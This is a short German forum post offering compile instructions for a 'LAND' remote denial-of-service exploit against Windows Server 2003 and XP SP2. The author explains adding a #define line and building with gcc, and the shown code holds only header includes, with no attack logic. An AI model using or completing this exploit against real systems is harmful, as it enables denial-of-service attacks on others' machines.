Windows Server 2003 and XP SP2 Remote DoS Exploit

Hi Leute ich hab mal den Land angriff compiliert für Linux.
Is gar nicht so schwer wie es aussieht.

Alles was wir machen müssen ist diese zeile #define _BSD_SOURCE über Include setzten.
Und fertig is unser Land Exploit, jetzt nur noch mit gcc exploit.c –o land compilieren.

#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
